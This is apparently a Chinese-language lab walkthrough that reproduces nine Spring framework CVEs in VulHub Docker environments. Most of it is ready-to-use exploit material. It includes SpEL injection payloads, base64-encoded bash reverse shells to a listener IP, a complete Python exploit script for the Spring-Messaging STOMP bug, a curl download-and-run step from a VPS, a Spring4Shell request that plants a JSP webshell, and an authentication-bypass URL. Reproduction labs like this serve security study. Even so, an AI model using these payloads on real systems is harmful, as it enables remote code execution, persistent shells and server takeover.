CVE-2016-4977
Spring Security OAuth2 远程命令执行漏洞
环境搭建
使用VulHub搭建漏洞环境,进入/spring/CVE-2016-4977目录,下发以下命令启动环境
sudo service docker start //若没启动docker先启动服务
docker-compose up -d
访问 http://ip:8080/,如图所示环境搭建成功
漏洞复现
漏洞成因:
Spring Security OAuth2处理认证请求的时候如果使用了whitelabel视图,response_type参数值会被当做Spring SpEL来执行,恶意攻击者通过构造response_type值可以触发远程代码执行漏洞
影响版本:
Spring Security OAuth 2.3到2.3.2
Spring Security OAuth 2.2到2.2.1
Spring Security OAuth 2.1到2.1.1
Spring Security OAuth 2.0到2.0.14
访问以下链接,账号密码admin/admin
http://127.0.0.1:8080/oauth/authorize?response_type=${2*3}&client_id=acme&scope=openid&redirect_uri=http://test
可以看到,Spring SpEL表达式得到执行
一句话反弹shell,我的攻击机IP为172.31.159.186,实际就是漏洞环境IP,但这里不能用127.0.0.1
bash -i >& /dev/tcp/172.31.159.186/1111 0>&1
进行base64编码
YmFzaCAtaSA+JiAvZGV2L3RjcC8xNzIuMzEuMTU5LjE4Ni8xMTExIDA+JjE=
base64编码之后的反弹shell脚本
bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xNzIuMzEuMTU5LjE4Ni8xMTExIDA+JjE=}|{base64,-d}|{bash,-i}
CVE-2016-目录下有个poc.py,内容如下:
#!/usr/bin/env python
message = input('Enter message to encode:')
poc = '${T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(%s)' % ord(message[0])
for ch in message[1:]:
poc += '.concat(T(java.lang.Character).toString(%s))' % ord(ch)
poc += ')}
使用python3运行,并将上述代码传入
构造完整POC,也就是将验证URL字段中的response_type替换为上述生成的代码
http://127.0.0.1:8080/oauth/authorize?response_type=${T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(98).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(104)).concat(T(java.lang.Character).toString(32)).concat(T(java.lang.Character).toString(45)).concat(T(java.lang.Character).toString(99)).concat(T(java.lang.Character).toString(32)).concat(T(java.lang.Character).toString(123)).concat(T(java.lang.Character).toString(101)).concat(T(java.lang.Character).toString(99)).concat(T(java.lang.Character).toString(104)).concat(T(java.lang.Character).toString(111)).concat(T(java.lang.Character).toString(44)).concat(T(java.lang.Character).toString(89)).concat(T(java.lang.Character).toString(109)).concat(T(java.lang.Character).toString(70)).concat(T(java.lang.Character).toString(122)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(67)).concat(T(java.lang.Character).toString(65)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(83)).concat(T(java.lang.Character).toString(65)).concat(T(java.lang.Character).toString(43)).concat(T(java.lang.Character).toString(74)).concat(T(java.lang.Character).toString(105)).concat(T(java.lang.Character).toString(65)).concat(T(java.lang.Character).toString(118)).concat(T(java.lang.Character).toString(90)).concat(T(java.lang.Character).toString(71)).concat(T(java.lang.Character).toString(86)).concat(T(java.lang.Character).toString(50)).concat(T(java.lang.Character).toString(76)).concat(T(java.lang.Character).toString(51)).concat(T(java.lang.Character).toString(82)).concat(T(java.lang.Character).toString(106)).concat(T(java.lang.Character).toString(99)).concat(T(java.lang.Character).toString(67)).concat(T(java.lang.Character).toString(56)).concat(T(java.lang.Character).toString(120)).concat(T(java.lang.Character).toString(78)).concat(T(java.lang.Character).toString(122)).concat(T(java.lang.Character).toString(73)).concat(T(java.lang.Character).toString(117)).concat(T(java.lang.Character).toString(77)).concat(T(java.lang.Character).toString(122)).concat(T(java.lang.Character).toString(69)).concat(T(java.lang.Character).toString(117)).concat(T(java.lang.Character).toString(77)).concat(T(java.lang.Character).toString(84)).concat(T(java.lang.Character).toString(85)).concat(T(java.lang.Character).toString(53)).concat(T(java.lang.Character).toString(76)).concat(T(java.lang.Character).toString(106)).concat(T(java.lang.Character).toString(69)).concat(T(java.lang.Character).toString(52)).concat(T(java.lang.Character).toString(78)).concat(T(java.lang.Character).toString(105)).concat(T(java.lang.Character).toString(56)).concat(T(java.lang.Character).toString(120)).concat(T(java.lang.Character).toString(77)).concat(T(java.lang.Character).toString(84)).concat(T(java.lang.Character).toString(69)).concat(T(java.lang.Character).toString(120)).concat(T(java.lang.Character).toString(73)).concat(T(java.lang.Character).toString(68)).concat(T(java.lang.Character).toString(65)).concat(T(java.lang.Character).toString(43)).concat(T(java.lang.Character).toString(74)).concat(T(java.lang.Character).toString(106)).concat(T(java.lang.Character).toString(69)).concat(T(java.lang.Character).toString(61)).concat(T(java.lang.Character).toString(125)).concat(T(java.lang.Character).toString(124)).concat(T(java.lang.Character).toString(123)).concat(T(java.lang.Character).toString(98)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(101)).concat(T(java.lang.Character).toString(54)).concat(T(java.lang.Character).toString(52)).concat(T(java.lang.Character).toString(44)).concat(T(java.lang.Character).toString(45)).concat(T(java.lang.Character).toString(100)).concat(T(java.lang.Character).toString(125)).concat(T(java.lang.Character).toString(124)).concat(T(java.lang.Character).toString(123)).concat(T(java.lang.Character).toString(98)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(104)).concat(T(java.lang.Character).toString(44)).concat(T(java.lang.Character).toString(45)).concat(T(java.lang.Character).toString(105)).concat(T(java.lang.Character).toString(125)))}&client_id=acme&scope=openid&redirect_uri=http://test
监听1111端口,浏览器访问url,反弹了shell
CVE-2017-4971
环境搭建
如上。成功如图
漏洞复现
漏洞成因:
Spring Web Flow建立在Spring MVC之上,并允许实现Web应用程序的“流” 由于没有明确指定相关 model 的具体属性导致从表单可以提交恶意的表达式从而被执行,导致任意代码执行的漏洞
影响版本:
Spring Web Flow 2.4.0 – 2.4.4
点击login,使用左侧的账号密码登录
点击Find Hotles,再点击view Hotels,随便进入一个酒店
点击Book Hotel,输入合法字符,Credit Card位数为16位。
点击confirm,抓包
替换Payload,监听相应端口。
_eventId_confirm=&_csrf=c3f48303-fa5c-4c74-a83f-3f7867b2e495&_(new java.lang.ProcessBuilder("bash","-c","bash+-i+>%26+/dev/tcp/172.31.159.186/1111 0>%261")).start()=vulhub
成功反弹shell
CVE-2017-8046
环境搭建
如上。成功如图
漏洞成因
Spring-data-rest服务器在处理PATCH请求时,攻击者可以构造恶意的PATCH请求并发送给spring-date-rest服务器,通过构造好的JSON数据来执行任意Java代码
影响版本
Spring Data REST versions < 2.5.12, 2.6.7, 3.0 RC3
Spring Boot version < 2.0.0M4
Spring Data release trains < Kay-RC3
漏洞复现
访问http://127.0.0.1:8080/customers/1,抓包。
反弹shell命令
bash -i >& /dev/tcp/172.31.159.186/1111 0>&1
//base64编码
bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xNzIuMzEuMTU5LjE4Ni8xMTExIDA+JjE=}|{base64,-d}|{bash,-i}
使用以下Python脚本将Poc转为十进制
payload = b'touch /tmp/success'
bytecode = ','.join(str(i) for i in list(payload))
print(bytecode)
最终Payload为
PATCH /customers/1 HTTP/1.1
Host: 127.0.0.1:8080
Accept-Encoding: gzip, deflate
Accept: /
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/json-patch+json
Content-Length: 202
[{ “op”: “replace”, “path”: “T(java.lang.Runtime).getRuntime().exec(new java.lang.String(new byte[]{98,97,115,104,32,45,99,32,123,101,99,104,111,44,89,109,70,122,97,67,65,116,97,83,65,43,74,105,65,118,90,71,86,50,76,51,82,106,99,67,56,120,78,122,73,117,77,122,69,117,77,84,85,53,76,106,69,52,78,105,56,120,77,84,69,120,73,68,65,43,74,106,69,61,125,124,123,98,97,115,101,54,52,44,45,100,125,124,123,98,97,115,104,44,45,105,125}))/lastname”, “value”: “vulhub” }]
成功反弹shell
CVE-2018-1270
Spring-Messaging远程代码执行漏洞
环境搭建
如上,成功如图
漏洞成因
Spring框架中的 spring-messaging 模块提供了一种基于WebSocket的STOMP协议实现,STOMP消息代理在处理客户端消息时存在SpEL表达式注入漏洞,攻击者可以通过构造恶意的消息来实现远程代码执行。
影响版本
Spring Framework 5.0 to 5.0.4
Spring Framework 4.3 to 4.3.14
漏洞复现
在/spring/CVE-2018-1270目录下有个exploit.py文件,修改靶机ip、监听机ip、port
#!/usr/bin/env python3
import requests
import random
import string
import time
import threading
import logging
import sys
import json
logging.basicConfig(stream=sys.stdout, level=logging.INFO)
def random_str(length):
letters = string.ascii_lowercase + string.digits
return ''.join(random.choice(letters) for c in range(length))
class SockJS(threading.Thread):
def __init__(self, url, *args, **kwargs):
super().__init__(*args, **kwargs)
self.base = f'{url}/{random.randint(0, 1000)}/{random_str(8)}'
self.daemon = True
self.session = requests.session()
self.session.headers = {
'Referer': url,
'User-Agent': 'Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)'
}
self.t = int(time.time()*1000)
def run(self):
url = f'{self.base}/htmlfile?c=_jp.vulhub'
response = self.session.get(url, stream=True)
for line in response.iter_lines():
time.sleep(0.5)
def send(self, command, headers, body=''):
data = [command.upper(), '\n']
data.append('\n'.join([f'{k}:{v}' for k, v in headers.items()]))
data.append('\n\n')
data.append(body)
data.append('\x00')
data = json.dumps([''.join(data)])
response = self.session.post(f'{self.base}/xhr_send?t={self.t}', data=data)
if response.status_code != 204:
logging.info(f"send '{command}' data error.")
else:
logging.info(f"send '{command}' data success.")
def __del__(self):
self.session.close()
sockjs = SockJS('http://172.31.159.186:8080/gs-guide-websocket')
sockjs.start()
time.sleep(1)
sockjs.send('connect', {
'accept-version': '1.1,1.0',
'heart-beat': '10000,10000'
})
sockjs.send('subscribe', {
'selector': 'T(java.lang.Runtime).getRuntime().exec(new String[]{"/bin/bash","-c","exec 5<>/dev/tcp/172.31.159.186/1111;cat <&5 | while read line; do $line 2>&5 >&5; done"})',
'id': 'sub-0',
'destination': '/topic/greetings'
})
data = json.dumps({'name': 'vulhub'})
sockjs.send('send', {
'content-length': len(data),
'destination': '/app/hello'
}, data)
攻击机监听端口,并执行poc
反弹shell成功
CVE-2018-1273
Spring Data Commons 远程命令执行
环境搭建
如上,成功如图
漏洞成因:
Spring Data是一个用于简化数据库访问,并支持云服务的开源框架,Spring Data Commons是Spring Data下所有子项目共享的基础框架。Spring Data Commons 在2.0.5及以前版本中,存在一处SpEL表达式注入漏洞,攻击者可以注入恶意SpEL表达式以执行任意命令。
影响版本
Spring Data Commons 1.13 – 1.13.10 (Ingalls SR10)
Spring Data REST 2.6 – 2.6.10 (Ingalls SR10)
Spring Data Commons 2.0 to 2.0.5 (Kay SR5)
Spring Data REST 3.0 – 3.0.5 (Kay SR5)
漏洞复现
在注册页面填充数据抓包,替换post数据为payload数据
POST /users?page=&size=5 HTTP/1.1 Host: 172.31.159.186:8080 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Content-Length: 40 Origin: http://172.31.159.186:8080 Connection: close Referer: http://172.31.159.186:8080/users/ Upgrade-Insecure-Requests: 1 username[#this.getClass().forName("java.lang.Runtime").getRuntime().exec("命令")]=&password=&repeatedPassword=
直接填入反弹shell命令发送数据包,返回200,失败了
在VPS创建一个shell.txt文件,填入反弹shell命令
bash -i >& /dev/tcp/172.31.159.186/1111 0>&1
将POST数据包中执行的命令换为
exec("curl -o /tmp/bash.sh http://172.31.144.1:91/shell.txt")
POST /users?page=&size=5 HTTP/1.1
Host: 172.31.159.186:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 159
Origin: http://172.31.159.186:8080
Connection: close
Referer: http://172.31.159.186:8080/users/
Upgrade-Insecure-Requests: 1
username[#this.getClass().forName("java.lang.Runtime").getRuntime().exec("curl -o /tmp/bash.sh http://172.31.144.1:91/shell.txt")]=&password=&repeatedPassword=
再执行bash.sh
exec("bash /tmp/bash.sh")
POST /users?page=&size=5 HTTP/1.1
Host: 172.31.159.186:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 123
Origin: http://172.31.159.186:8080
Connection: close
Referer: http://172.31.159.186:8080/users/
Upgrade-Insecure-Requests: 1
username[#this.getClass().forName("java.lang.Runtime").getRuntime().exec("bash /tmp/bash.sh")]=&password=&repeatedPassword=
反弹shell成功
CVE-2022-22947
Spring Cloud Gateway Actuator API SpEL表达式注入命令执行漏洞
环境搭建
使用VulHub搭建漏洞环境,进入/spring/CVE-2022-22947目录,下发以下命令启动环境
sudo service docker start //若没启动docker先启动服务
docker-compose up -d
访问 http://ip:8080/,如图所示环境搭建成功
漏洞复现
在接口/actuator/gateway/routes添加一个包含恶意SpEL表达式的路由
如果响应包显示Unsupported Media Type,改下请求头Content-Type: application/json
POST /actuator/gateway/routes/hanjiefang HTTP/1.1
Host: 172.31.159.186
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Connection: close
Content-Type: application/json
Content-Length: 334
{
"id": "hanjiefang",
"filters": [{
"name": "AddResponseHeader",
"args": {"name": "Result","value": "#{new java.lang.String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]{\"whoami\"}).getInputStream()))}"}
}],
"uri": "http://example.com",
"order": 0
}
刷新网关
POST /actuator/gateway/refresh HTTP/1.1
Host: 172.31.159.186
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Connection: close
Content-Type: application/json
Content-Length: 0
触发漏洞
GET /actuator/gateway/routes/hanjiefang HTTP/1.1
Host: 172.31.159.186
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Connection: close
CVE-2022-22963
环境搭建
如上,成功如图。
漏洞成因:
由于Spring CloudFunction中RoutingFunction类的apply方法将请求头中的”spring.cloud.function.routing-expression”参数作为Spel表达式进行处理,造成了Spel表达式注入漏洞,当使用路由功能时,攻击者可利用该漏洞远程执行任意代码。
影响版本:
3.0.0.RELEASE <= Spring Cloud Function <= 3.2.2
漏洞复现
访问/functionRouter,抓包并改为POST包,添加Payload,
POST /functionRouter HTTP/1.1
Host: 172.31.159.186:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Connection: close
spring.cloud.function.routing-expression: T(java.lang.Runtime).getRuntime().exec("bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xNzIuMzEuMTU5LjE4Ni8xMTExIDA+JjE=}|{base64,-d}|{bash,-i}")
Content-Type: text/plain
Content-Length: 4
Test
发送请求
反弹shell
CVE-2022-22965
环境搭建
如上,成功如图
漏洞成因:
引入了class.module.classLoader,导致了CVE-2010-1622漏洞补丁的绕过,JDK9中存在可以绕过黑名单禁用的类,导致了这个漏洞。
影响版本:
Spring Framework 5.3.X < 5.3.18
Spring Framework 5.2.X < 5.2.20
漏洞复现
抓包,替换为Payload
GET /?class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7Bc2%7Di%20if(%22fuck%22.equals(request.getParameter(%22pwd%22)))%7B%20java.io.InputStream%20in%20=%20%25%7Bc1%7Di.getRuntime().exec(request.getParameter(%22cmd%22)).getInputStream();%20int%20a%20=%20-1;%20byte%5B%5D%20b%20=%20new%20byte%5B2048%5D;%20while((a=in.read(b))!=-1)%7B%20out.println(new%20String(b));%20%7D%20%7D%20%25%7Bsuffix%7Di&class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp&class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT&class.module.classLoader.resources.context.parent.pipeline.first.prefix=fuck&class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat= HTTP/1.1
Host: 172.31.159.186:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
suffix: %>//
c1: Runtime
c2: <%
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Cookie: JSESSIONID=67E05991F748237F3F622203A0965855
Upgrade-Insecure-Requests: 1
发送请求
进入容器内部,查看是否生成了fuck.jsp
访问木马:
http://172.31.159.186:8080//fuck.jsp?pwd=fuck&cmd=whoami
CVE-2022-22978
Spring-security 认证绕过漏洞
环境搭建
如上,成功如图:
漏洞成因:
在Spring Security 版本5.5.7之前、5.6.4 之前以及不受支持的旧版本中,使用正则表达式中包含”. “的RegexRequestMatcher的应用程序容易导致绕过,可利用此漏洞在未授权的情况下绕过身份认证,导致配置的权限验证失效。
影响版本:
Spring Security 5.5.x < 5.5.7
Spring Security 5.6.x < 5.6.4
以及其它不受支持的旧版本。
漏洞复现
漏洞产生的原因是由于正则发生了问题,可以通过在 URL 中加入换行符( r
或 n
)来绕过。(\r的url编码为%0d,\n的url编码为%0a)
不进行拼接时访问admin页面:
http://172.31.159.186:8080/admin/index
进行拼接时访问admin页面:
http://172.31.159.186:8080/admin/index%0a